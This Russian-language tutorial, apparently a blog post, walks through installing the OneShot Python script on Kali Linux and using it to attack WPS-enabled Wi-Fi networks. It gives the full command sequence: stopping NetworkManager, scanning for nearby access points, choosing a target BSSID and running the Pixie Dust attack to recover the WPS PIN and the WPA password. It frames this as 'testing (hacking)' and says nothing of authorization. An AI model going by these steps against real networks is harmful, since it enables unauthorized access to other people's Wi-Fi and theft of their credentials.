OneShot в Kali Linux.
OneShot это сркипт на Python, который выполняет атаку на Wi-Fi сети с поддержкой WPS без необходимости переключаться в режим монитора.
Это значит, что подойдёт любая Wi-Fi карта.
Установка в OneShot Kali Linux.
В терминале kali linux вставляем и выполняем следующие команды:
git clone https://github.com/drygdryg/OneShot
cd OneShot/
sudo ./oneshot.py --help
Начинаем тестирования ( взлом ) wi fi сети с поддержкой WPS.
Остановим NetworkManager.
sudo systemctl stop NetworkManager
Убьём лишние процессы:
airmon-ng check kill
Узнаем имя беспроводного интерфейса. В Kali Linux это обычно wlan0.
sudo iw dev
Активируем Wi-Fi адаптер командой :
Вместо wlan0 здесь и далее вставить имя вашего беспроводного интерфейса если оно другое.
sudo ip link set wlan0 up
Сканируем точки доступа в пределах досягаемости командой :
sudo iw dev wlan0 scan
После сканирования ищите те сети для которых имеется поле WPS, например:
Пролистываем чуть выше, чтобы увидеть BSSID или BSS этой точки доступа:
В данном списке BSSID называется BSS и его значение равно b0:c2:87:4b:e0:fd.
Теперь нужно запустить команду вида:
sudo python3 oneshot.py -i wlan0 -b b0:c2:87:4b:e0:fd -K
Где BSSID b0:c2:87:4b:e0:fd нужно заменить на действительное значение для интересующей точки доступа.
Получаем вывод:
В случае удачи, будет выведено :
ПИН находится в строке WPS PIN
Пароль от Wi-Fi в строке WPA PSK
Название точки доступа в строке AP SSID
В случае неудачи, будет выведено что-то вроде:
Когда закончите, то чтобы вернулось Интернет-подключение выполните команду:
systemctl start NetworkManager
P.S.
После обновления OneShot получило встроенный сканер сетей с поддержкой WPS.
Подробнее тут.